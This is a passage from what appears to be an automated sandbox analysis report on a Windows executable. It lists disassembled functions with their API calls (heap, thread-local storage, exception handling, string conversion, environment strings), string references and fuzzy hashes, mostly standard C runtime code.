Instruction Fuzzy Hash: 4011C4756003247BD3309B15CC88F677F6CEB86BA9F008169FD85AB291C635AC04C6F8

Function 0040CBDD Relevance: 1.6, APIs: 1, Instructions: 84
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCommandLineA.KERNEL32(?,?,?,?,?,?,004211C0,00000014), ref: 0040CC72

Memory Dump Source

Source File: 00000004.00000001.22963397742.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000001.22963397742.0000000000426000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000004.00000001.22963397742.000000000045A000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_1_400000_rpkhzpuO.jbxd

Yara matches

Similarity

API ID: CommandLine
String ID:
API String ID: 3253501508-0
Opcode ID: 20a121aa98deea0d6a92869a37a8ce0eeafbf8083c9a382c391b16779d8042bc
Instruction ID: dd0e71ad339a9163951c18b6e10ac978c43bbda227cf44f0d89655e40ba473a7
Opcode Fuzzy Hash: 20a121aa98deea0d6a92869a37a8ce0eeafbf8083c9a382c391b16779d8042bc
Instruction Fuzzy Hash: A921A770A45305DAFB247BB3ED8676932B46F10309F10457FE508B62D2EB7C89918B5D

Function 0040B84D Relevance: 1.6, APIs: 1, Instructions: 77
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlAllocateHeap.NTDLL(00000000,-0000000E,00000001,00000000,00000000,?,00411C86,00000001,00000001,00000001,?,0040D66A,00000018,00421240,0000000C,0040D6FB), ref: 0040B8C4

Memory Dump Source

Source File: 00000004.00000001.22963397742.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000001.22963397742.0000000000426000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000004.00000001.22963397742.000000000045A000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_1_400000_rpkhzpuO.jbxd

Yara matches

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: aa93b8d22f7ad34e63f46d7b64e669d396b5d5323d1cadc1ac016a0a3615800e
Instruction ID: 311cf82ab874880c1827e3b42f79a9926f6ae2cec6008b7cb6d5cd9a65976436
Opcode Fuzzy Hash: aa93b8d22f7ad34e63f46d7b64e669d396b5d5323d1cadc1ac016a0a3615800e
Instruction Fuzzy Hash: 5011B433A002165BD6217B6A9C41B5A675CDF11368F15443BF800BB2F1CB7C9D4156DD

Function 00401870 Relevance: 1.5, APIs: 1, Instructions: 33
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SysAllocString.OLEAUT32 ref: 00401898

Memory Dump Source

Source File: 00000004.00000001.22963397742.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000001.22963397742.0000000000426000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000004.00000001.22963397742.000000000045A000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_1_400000_rpkhzpuO.jbxd

Yara matches

Similarity

API ID: AllocString
String ID:
API String ID: 2525500382-0
Opcode ID: 2b2277ba2f7599175ad158743716730806d9da3e8ba5769d67c84622d6ab0768
Instruction ID: c2922591c351a4c461934d9b8210169c8be4224f150a02a6988c85a72df9e820
Opcode Fuzzy Hash: 2b2277ba2f7599175ad158743716730806d9da3e8ba5769d67c84622d6ab0768
Instruction Fuzzy Hash: BEF02073501322A7E3316B658841B47B6E8DF80B28F00823FFD44BB391D3B9C85082EA

Function 0040D534 Relevance: 1.5, APIs: 1, Instructions: 20
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

HeapCreate.KERNELBASE(00000000,00001000,00000000), ref: 0040D549

Memory Dump Source

Source File: 00000004.00000001.22963397742.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000001.22963397742.0000000000426000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000004.00000001.22963397742.000000000045A000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_1_400000_rpkhzpuO.jbxd

Yara matches

Similarity

API ID: CreateHeap
String ID:
API String ID: 10892065-0
Opcode ID: b92e553731a4154449cde6b8e59536b0b0aa674871376bfeaf174e1f515a675d
Instruction ID: a29dbb507fbbbc11cf477c5ad410ace9233c9b691e3651c0b65acef059567112
Opcode Fuzzy Hash: b92e553731a4154449cde6b8e59536b0b0aa674871376bfeaf174e1f515a675d
Instruction Fuzzy Hash: E8D05E36A54348AADB11AFB47C08B623BDCE388396F404576F80DC6290F678D641C548

Function 0040E7EE Relevance: 1.5, APIs: 1, Instructions: 8
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0040E7C3: GetModuleHandleW.KERNEL32(mscoree.dll,?,0040E7FB,00000001,?,0040B886,000000FF,0000001E,?,00411C86,00000001,00000001,00000001,?,0040D66A,00000018), ref: 0040E7CD
Part of subcall function 0040E7C3: GetProcAddress.KERNEL32(00000000,CorExitProcess), ref: 0040E7DD
Part of subcall function 0040E7C3: CorExitProcess.MSCOREE(00000001,?,0040E7FB,00000001,?,0040B886,000000FF,0000001E,?,00411C86,00000001,00000001,00000001,?,0040D66A,00000018), ref: 0040E7EA

ExitProcess.KERNEL32 ref: 0040E7FF

Memory Dump Source

Source File: 00000004.00000001.22963397742.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000001.22963397742.0000000000426000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000004.00000001.22963397742.000000000045A000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_1_400000_rpkhzpuO.jbxd

Yara matches

Similarity

API ID: ExitProcess$AddressHandleModuleProc
String ID:
API String ID: 1002262038-0
Opcode ID: 65da83064d662722dc3cf0b1a9484b1fe75efcd2066e1800ec5593f74242e35d
Instruction ID: d9ec683f250bcd397ae0bae66fbc2b9097e114182cfe22e5ca4178904d999afd
Opcode Fuzzy Hash: 65da83064d662722dc3cf0b1a9484b1fe75efcd2066e1800ec5593f74242e35d
Instruction Fuzzy Hash: ADB09B31000108BFDB112F13DC09C493F59DB40750711C435F41805071DF719D5195D5

Non-executed Functions

Function 0040E61C Relevance: 7.6, APIs: 5, Instructions: 67COMMON

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32(?,?,00000314), ref: 0040E6F8
SetUnhandledExceptionFilter.KERNEL32(00000000,?,?,00000314), ref: 0040E702
UnhandledExceptionFilter.KERNEL32(?,?,?,00000314), ref: 0040E70F
GetCurrentProcess.KERNEL32(C0000417,?,?,00000314), ref: 0040E72A
TerminateProcess.KERNEL32(00000000,?,?,00000314), ref: 0040E731

Memory Dump Source

Source File: 00000004.00000001.22963397742.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000001.22963397742.0000000000426000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000004.00000001.22963397742.000000000045A000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_1_400000_rpkhzpuO.jbxd

Yara matches

Similarity

API ID: ExceptionFilterProcessUnhandled$CurrentDebuggerPresentTerminate
String ID:
API String ID: 2579439406-0
Opcode ID: bc06e2a25031c2c558872983b213d7b3e0077b483b6be20e3db30540cf558dbb
Instruction ID: 091cf59633f64f73d3eb463006ce9cf2ac492d5d73b5fbb9e3412c3bad16e63c
Opcode Fuzzy Hash: bc06e2a25031c2c558872983b213d7b3e0077b483b6be20e3db30540cf558dbb
Instruction Fuzzy Hash: 4F31DFB0D1132D9BCB20DF65D9897C9BBB8EF18304F5040EAA50CA6251EB789F848F49

Function 0040CE09 Relevance: 7.6, APIs: 5, Instructions: 58COMMON

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32 ref: 004136F4
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 00413709
UnhandledExceptionFilter.KERNEL32(0041FB80), ref: 00413714
GetCurrentProcess.KERNEL32(C0000409), ref: 00413730
TerminateProcess.KERNEL32(00000000), ref: 00413737

Memory Dump Source

Source File: 00000004.00000001.22963397742.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000001.22963397742.0000000000426000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000004.00000001.22963397742.000000000045A000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_1_400000_rpkhzpuO.jbxd

Yara matches

Similarity

API ID: ExceptionFilterProcessUnhandled$CurrentDebuggerPresentTerminate
String ID:
API String ID: 2579439406-0
Opcode ID: 8d1f5aed7c5dfd20079dd4d946f02ab3c4db913f1b194ab0176bc05653236347
Instruction ID: 93bf0ba95bc2a0faef8203f21c221f33afe887fd41373e09ae0fa508b254143b
Opcode Fuzzy Hash: 8d1f5aed7c5dfd20079dd4d946f02ab3c4db913f1b194ab0176bc05653236347
Instruction Fuzzy Hash: A521C3B4601204EFD720DF65E94A6457FB4FB08356F80407AE50887772E7B86682CF4D

Function 00416F6A Relevance: 3.1, APIs: 2, Instructions: 62COMMON

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 00417066
UnhandledExceptionFilter.KERNEL32(?), ref: 00417073

Part of subcall function 0040EAA2: GetModuleFileNameA.KERNEL32(00000000,00423661,00000104), ref: 0040EB45

Memory Dump Source

Source File: 00000004.00000001.22963397742.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000001.22963397742.0000000000426000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000004.00000001.22963397742.000000000045A000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_1_400000_rpkhzpuO.jbxd

Yara matches

Similarity

API ID: ExceptionFilterUnhandled$FileModuleName
String ID:
API String ID: 787209826-0
Opcode ID: 58989c2155fa601ee213af073706d08331aab889389bcdc4fd9c24749d6458f6
Instruction ID: b1647b16c57129e15f1261ce62323eaccaae119fe7bea347a93ce5ecefaf6e7c
Opcode Fuzzy Hash: 58989c2155fa601ee213af073706d08331aab889389bcdc4fd9c24749d6458f6
Instruction Fuzzy Hash: 6D210670D1132D9BCB21DF65DD897C9BBB8AF08704F1041EAE50CA6260DBB49BC18F59

Function 0040ADB0 Relevance: 2.5, APIs: 2, Instructions: 23memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 0040ADD0
HeapFree.KERNEL32(00000000,00000000,00000000), ref: 0040ADE1

Memory Dump Source

Source File: 00000004.00000001.22963397742.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000001.22963397742.0000000000426000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000004.00000001.22963397742.000000000045A000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_1_400000_rpkhzpuO.jbxd

Yara matches

Similarity

API ID: Heap$FreeProcess
String ID:
API String ID: 3859560861-0
Opcode ID: 97be969a41baf58eb72298c462d2c401217e5b830f10c891868ac5f2a1a85b43
Instruction ID: 72dd180cd7110ee49b406fd12918c6a771032a3efea8c67e715e4993f3fed615
Opcode Fuzzy Hash: 97be969a41baf58eb72298c462d2c401217e5b830f10c891868ac5f2a1a85b43
Instruction Fuzzy Hash: 54E09A312003009FC320AB61DC08FA337AAEF88311F04C829E55A936A0DB78EC42CB58

Function 004123F1 Relevance: 1.5, APIs: 1, Instructions: 4COMMON

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNEL32(Function_000123AF), ref: 004123F6

Memory Dump Source

Source File: 00000004.00000001.22963397742.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000001.22963397742.0000000000426000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000004.00000001.22963397742.000000000045A000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_1_400000_rpkhzpuO.jbxd

Yara matches

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: 4924e8eeaf860e2c76ee0bfea96ab0c911441afc8f12962253436aa9ca0899ee
Instruction ID: 17be93bd3878235df00445469c4c747c8dbd7a907b9f456768254b9c32cbcc1b
Opcode Fuzzy Hash: 4924e8eeaf860e2c76ee0bfea96ab0c911441afc8f12962253436aa9ca0899ee
Instruction Fuzzy Hash: CA900270661144D7865017705D0968669949B4C6427618471653DD4098DBAA40505569

Function 00413780 Relevance: 1.3, Strings: 1, Instructions: 33COMMON

Download Yara Rule

Strings

08A, xrefs: 004137A2

Memory Dump Source

Source File: 00000004.00000001.22963397742.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000001.22963397742.0000000000426000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000004.00000001.22963397742.000000000045A000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_1_400000_rpkhzpuO.jbxd

Yara matches

Similarity

API ID:
String ID: 08A
API String ID: 0-3446600063
Opcode ID: efedc80838d82665644c668c37690441f50efc68b5844c497c702a1d483f6918
Instruction ID: 7833fe8d59714f648ef1272d262f850ab0783a042d5d0eb5cb65c8a4a93170ae
Opcode Fuzzy Hash: efedc80838d82665644c668c37690441f50efc68b5844c497c702a1d483f6918
Instruction Fuzzy Hash: 0CF0A7777002145F9714CF59D8C0DAA73EAEBC4B2531AC0AAE9188B346DA35DD86C798

Function 0041087E Relevance: 22.9, APIs: 8, Strings: 5, Instructions: 112
libraryloadermemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleW.KERNEL32(KERNEL32.DLL), ref: 00410888
GetProcAddress.KERNEL32(00000000,FlsAlloc), ref: 004108AF
GetProcAddress.KERNEL32(00000000,FlsGetValue), ref: 004108BC
GetProcAddress.KERNEL32(00000000,FlsSetValue), ref: 004108C9
GetProcAddress.KERNEL32(00000000,FlsFree), ref: 004108D6
TlsAlloc.KERNEL32 ref: 00410926
TlsSetValue.KERNEL32(00000000), ref: 00410941
GetCurrentThreadId.KERNEL32 ref: 004109F0

Part of subcall function 0040E76A: Sleep.KERNEL32(000003E8,00000000,?,00410538,KERNEL32.DLL,?,00410584,?,00000001,0040BFC6,0040B72C), ref: 0040E776
Part of subcall function 0040E76A: GetModuleHandleW.KERNEL32(00000001,?,00410538,KERNEL32.DLL,?,00410584,?,00000001,0040BFC6,0040B72C), ref: 0040E77F

Part of subcall function 00410598: TlsFree.KERNEL32(FFFFFFFF,00410A06), ref: 004105C3

Strings

FlsFree, xrefs: 004108CB
FlsGetValue, xrefs: 004108B1
FlsAlloc, xrefs: 004108A9
FlsSetValue, xrefs: 004108BE
KERNEL32.DLL, xrefs: 00410882, 00410887, 00410892

Memory Dump Source

Source File: 00000004.00000001.22963397742.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000001.22963397742.0000000000426000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000004.00000001.22963397742.000000000045A000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_1_400000_rpkhzpuO.jbxd

Yara matches

Similarity

API ID: AddressProc$HandleModule$AllocCurrentFreeSleepThreadValue
String ID: FlsAlloc$FlsFree$FlsGetValue$FlsSetValue$KERNEL32.DLL
API String ID: 3443574016-3819984048
Opcode ID: da961c5303e01747c018ef57bfb642570370f9effd6469fcb74b0df48161029f
Instruction ID: fad7744f73fa57a3831d0299b89d98de25ed2071cdec20fa99ad2510385bcd0d
Opcode Fuzzy Hash: da961c5303e01747c018ef57bfb642570370f9effd6469fcb74b0df48161029f
Instruction Fuzzy Hash: 0E3182B1A03300AAD730AF79AD0569A3AB5EB46365750453BE414E22B5EBFC85C3CF5C

Function 00413B7E Relevance: 21.1, APIs: 6, Strings: 6, Instructions: 128
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNEL32(USER32.DLL,00423648,00000000,00000314,?,0040EC11,00423648,Microsoft Visual C++ Runtime Library), ref: 00413BA6
GetProcAddress.KERNEL32(00000000,MessageBoxA), ref: 00413BC2

Part of subcall function 0041046E: TlsGetValue.KERNEL32(00000000,?,004104E7,00000000,00413B8E,00423648,00000000,00000314,?,0040EC11,00423648,Microsoft Visual C++ Runtime Library,00012010), ref: 00410480
Part of subcall function 0041046E: TlsGetValue.KERNEL32(FFFFFFFF,?,004104E7,00000000,00413B8E,00423648,00000000,00000314,?,0040EC11,00423648,Microsoft Visual C++ Runtime Library,00012010), ref: 00410497

GetProcAddress.KERNEL32(00000000,00000000), ref: 00413BDF

Part of subcall function 0041046E: GetModuleHandleW.KERNEL32(KERNEL32.DLL,?,004104E7,00000000,00413B8E,00423648,00000000,00000314,?,0040EC11,00423648,Microsoft Visual C++ Runtime Library,00012010), ref: 004104AD
Part of subcall function 0041046E: GetProcAddress.KERNEL32(00000000,EncodePointer), ref: 004104C8

GetProcAddress.KERNEL32(00000000,00000000), ref: 00413BF4
GetProcAddress.KERNEL32(00000000,00000000), ref: 00413C09
GetProcAddress.KERNEL32(00000000,GetProcessWindowStation), ref: 00413C21

Strings

GetLastActivePopup, xrefs: 00413BE7
USER32.DLL, xrefs: 00413BA1
GetUserObjectInformationA, xrefs: 00413BFC
GetActiveWindow, xrefs: 00413BD2
MessageBoxA, xrefs: 00413BBC
GetProcessWindowStation, xrefs: 00413C1B

Memory Dump Source

Source File: 00000004.00000001.22963397742.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000001.22963397742.0000000000426000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000004.00000001.22963397742.000000000045A000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_1_400000_rpkhzpuO.jbxd

Yara matches

Similarity

API ID: AddressProc$Value$HandleLibraryLoadModule
String ID: GetActiveWindow$GetLastActivePopup$GetProcessWindowStation$GetUserObjectInformationA$MessageBoxA$USER32.DLL
API String ID: 2739679353-232180764
Opcode ID: 0fe31dc5fbe917493fbca0db843afb676bd80b3aff3ad9f24195411be4002701
Instruction ID: 6316a36fe1d9ac9490b193d2c8a82e7bd04ee30064d26f70d75e2630d1dc87b6
Opcode Fuzzy Hash: 0fe31dc5fbe917493fbca0db843afb676bd80b3aff3ad9f24195411be4002701
Instruction Fuzzy Hash: 7441BB72600211AADB20AFB69D45A9F7AF49B04751F55442BE500E3250FFBCCFC58BAC

Function 00417081 Relevance: 16.8, APIs: 11, Instructions: 340
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LCMapStringW.KERNEL32(00000000,00000100,00420398,00000001,00000000,00000000,0041219E,00000100,00000000,?,?,?,?,7FFFFFFF,?,00004000), ref: 004170B3
GetLastError.KERNEL32(?,00004000,7FFFFFFF,00000000,?,?,00000000,00004000,00000000,00000000,?,0041219E,?,00000000,00000000), ref: 004170C5
MultiByteToWideChar.KERNEL32(0041219E,00000000,?,?,00000000,00000000,0041219E,00000100,00000000,?,?,?,?,7FFFFFFF,?,00004000), ref: 00417151
MultiByteToWideChar.KERNEL32(?,00000001,?,?,?,00000000,?,00004000,7FFFFFFF,00000000,?,?,00000000,00004000,00000000,00000000), ref: 004171BD
LCMapStringW.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,?,00004000,7FFFFFFF,00000000,?,?,00000000,00004000,00000000,00000000), ref: 004171D9
LCMapStringW.KERNEL32(?,00000400,00000400,00000000,?,?), ref: 00417213
LCMapStringW.KERNEL32(?,00000400,00000400,00000000,00000000,?), ref: 00417277
WideCharToMultiByte.KERNEL32(?,00000000,00000000,?,?,?,00000000,00000000), ref: 0041729A
LCMapStringA.KERNEL32(?,?,00000000,?,00000000,00000000,?,?,?,0041219E,00000100,00000000,?,?,?,?), ref: 0041732A
LCMapStringA.KERNEL32(?,?,?,?,00000000,?,?,?,?,?,?,?,0041219E,00000100,00000000,?), ref: 0041739C
LCMapStringA.KERNEL32(?,?,?,?,00000000,00000100,0041219E,00000100,00000000,?,?,?,?,7FFFFFFF,?,00004000), ref: 004173E9

Memory Dump Source

Source File: 00000004.00000001.22963397742.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000001.22963397742.0000000000426000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000004.00000001.22963397742.000000000045A000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_1_400000_rpkhzpuO.jbxd

Yara matches

Similarity

API ID: String$ByteCharMultiWide$ErrorLast
String ID:
API String ID: 1775797328-0
Opcode ID: a16583e9d2d5c9a4990361f5dab3c24c1027fc4bfe8588b4c27167f0f9a1fd6d
Instruction ID: cdfffc9a1d2b3026f9ae82d5cc8d175594050d3ba9b5f3d3ede674b9b5b9b85c
Opcode Fuzzy Hash: a16583e9d2d5c9a4990361f5dab3c24c1027fc4bfe8588b4c27167f0f9a1fd6d
Instruction Fuzzy Hash: 29B1B072908119EFCF119FA0CC808EF7BB5EF48354B14856BF915A2260D7398DD2DB98

Function 00414661 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 61COMMON

Download Yara Rule

APIs

InterlockedDecrement.KERNEL32(SA), ref: 0041467B
InterlockedDecrement.KERNEL32(?), ref: 00414688
InterlockedDecrement.KERNEL32(?), ref: 00414695
InterlockedDecrement.KERNEL32(?), ref: 004146A2
InterlockedDecrement.KERNEL32(?), ref: 004146AF
InterlockedDecrement.KERNEL32(?), ref: 004146CB
InterlockedDecrement.KERNEL32(00000000), ref: 004146DB
InterlockedDecrement.KERNEL32(?), ref: 004146F1

Strings

SA, xrefs: 00414667, 0041467A

Memory Dump Source

Source File: 00000004.00000001.22963397742.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000001.22963397742.0000000000426000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000004.00000001.22963397742.000000000045A000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_1_400000_rpkhzpuO.jbxd

Yara matches

Similarity

API ID: DecrementInterlocked
String ID: SA
API String ID: 3448037634-1954343693
Opcode ID: 477eb8f2978c6dba48184111582f2e4fe97a9e13532dd84427a4bead277ee740
Instruction ID: 9a57645e9d711957f0b1177cc73d8bf7343520b358408f524570bf87b47795ee
Opcode Fuzzy Hash: 477eb8f2978c6dba48184111582f2e4fe97a9e13532dd84427a4bead277ee740
Instruction Fuzzy Hash: 77110C71B00719A7DB109F69CC84B97BBACAF85758F084527A818D7240DB7CE8918BA8

Function 004105D5 Relevance: 14.1, APIs: 4, Strings: 4, Instructions: 57libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(KERNEL32.DLL,00421320,0000000C,00410710,00000000,00000000,?,00000001,0040BFC6,0040B72C), ref: 004105E7
GetProcAddress.KERNEL32(00000000,EncodePointer), ref: 0041061B
GetProcAddress.KERNEL32(?,DecodePointer), ref: 0041062B
InterlockedIncrement.KERNEL32(?), ref: 0041065A

Part of subcall function 0040E76A: Sleep.KERNEL32(000003E8,00000000,?,00410538,KERNEL32.DLL,?,00410584,?,00000001,0040BFC6,0040B72C), ref: 0040E776
Part of subcall function 0040E76A: GetModuleHandleW.KERNEL32(00000001,?,00410538,KERNEL32.DLL,?,00410584,?,00000001,0040BFC6,0040B72C), ref: 0040E77F

Strings

@.B, xrefs: 00410681
DecodePointer, xrefs: 00410623
EncodePointer, xrefs: 0041060F
KERNEL32.DLL, xrefs: 004105E1, 004105E6, 004105F1

Memory Dump Source

Source File: 00000004.00000001.22963397742.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000001.22963397742.0000000000426000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000004.00000001.22963397742.000000000045A000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_1_400000_rpkhzpuO.jbxd

Yara matches

Similarity

API ID: AddressHandleModuleProc$IncrementInterlockedSleep
String ID: @.B$DecodePointer$EncodePointer$KERNEL32.DLL
API String ID: 3998264955-2889590918
Opcode ID: 6494f875005ce20cdce955d8c22516ac3ccd9d7187ee8c814306de8b46833c7d
Instruction ID: ea0ea8473cec590b50870dd3b4b8be5e3c50d09318c2f51e843d2d197a1947a1
Opcode Fuzzy Hash: 6494f875005ce20cdce955d8c22516ac3ccd9d7187ee8c814306de8b46833c7d
Instruction Fuzzy Hash: F4119071940701EED720AF76D90179EBBE0AF44314F10892FE499A72A1CBB89A958F5C

Function 004147EC Relevance: 13.8, APIs: 9, Instructions: 328COMMON

Download Yara Rule

APIs

CompareStringW.KERNEL32(00000000,00000000,00420398,00000001,00420398,00000001), ref: 00414825
GetLastError.KERNEL32 ref: 0041483B
GetCPInfo.KERNEL32(?,?), ref: 004148ED
MultiByteToWideChar.KERNEL32(?,00000009,?,000000FF,00000000,00000000), ref: 00414973
MultiByteToWideChar.KERNEL32(?,00000001,?,000000FF,00000000,00000000,?,000000FF,00000000,00000000), ref: 004149E8
MultiByteToWideChar.KERNEL32(?,00000009,?,?,00000000,00000000,?,000000FF,00000000,00000000), ref: 00414A01
MultiByteToWideChar.KERNEL32(?,00000001,?,?,00000000,00000000,?,000000FF,00000000,00000000), ref: 00414A60

Part of subcall function 0040B84D: RtlAllocateHeap.NTDLL(00000000,-0000000E,00000001,00000000,00000000,?,00411C86,00000001,00000001,00000001,?,0040D66A,00000018,00421240,0000000C,0040D6FB), ref: 0040B8C4

CompareStringW.KERNEL32(?,?,00000000,?,00000000,00000000,?,000000FF,00000000,00000000), ref: 00414A74
CompareStringA.KERNEL32(?,?,?,000000FF,?,?), ref: 00414B2E

Memory Dump Source

Source File: 00000004.00000001.22963397742.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000001.22963397742.0000000000426000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000004.00000001.22963397742.000000000045A000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_1_400000_rpkhzpuO.jbxd

Yara matches

Similarity

API ID: ByteCharMultiWide$CompareString$AllocateErrorHeapInfoLast
String ID:
API String ID: 195966823-0
Opcode ID: 86869baf4baed15a7717e25d52880a7f60df34c00b5b11a5786178dfb2da1398
Instruction ID: 56dbbc9a29ee3c2731aeb7529e1567d7181306e595e99f99bac017c5bf1c7a0e
Opcode Fuzzy Hash: 86869baf4baed15a7717e25d52880a7f60df34c00b5b11a5786178dfb2da1398
Instruction Fuzzy Hash: BDB1D475A002469FDF219F60CC81AEF7BB6EFC5354F24402BF911A6291D73989D2CB98

Function 00412892 Relevance: 13.6, APIs: 9, Instructions: 132COMMON

Download Yara Rule

APIs

GetEnvironmentStringsW.KERNEL32 ref: 004128B0
GetLastError.KERNEL32 ref: 004128C4
GetEnvironmentStringsW.KERNEL32 ref: 004128EB
WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000001,00000000,00000000,00000000,00000000), ref: 00412925
WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,?,00000000,?,00000000,00000000), ref: 00412948
FreeEnvironmentStringsW.KERNEL32(00000000), ref: 0041295E
GetEnvironmentStrings.KERNEL32 ref: 00412971
FreeEnvironmentStringsA.KERNEL32(00000000), ref: 004129A3
FreeEnvironmentStringsA.KERNEL32(00000000), ref: 004129BC

Memory Dump Source

Source File: 00000004.00000001.22963397742.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000001.22963397742.0000000000426000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000004.00000001.22963397742.000000000045A000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_1_400000_rpkhzpuO.jbxd

Yara matches

Similarity

API ID: EnvironmentStrings$Free$ByteCharMultiWide$ErrorLast
String ID:
API String ID: 4109468225-0
Opcode ID: c9bcb802a9135f080db95b40d64ad5aa70a43d39f8a133c566e31837109afe9d
Instruction ID: 6b1780b173e0c76c547e1634e6262843354cab8c9edf2f553bb01521c5479492
Opcode Fuzzy Hash: c9bcb802a9135f080db95b40d64ad5aa70a43d39f8a133c566e31837109afe9d
Instruction Fuzzy Hash: 3B31E2B2A10119BFCB207BB89E848EF7B7CEB59344B25043BE142D3200D6B84DD2976D

Function 0040EAA2 Relevance: 12.4, APIs: 3, Strings: 4, Instructions: 161fileCOMMON

Download Yara Rule

APIs

GetModuleFileNameA.KERNEL32(00000000,00423661,00000104), ref: 0040EB45
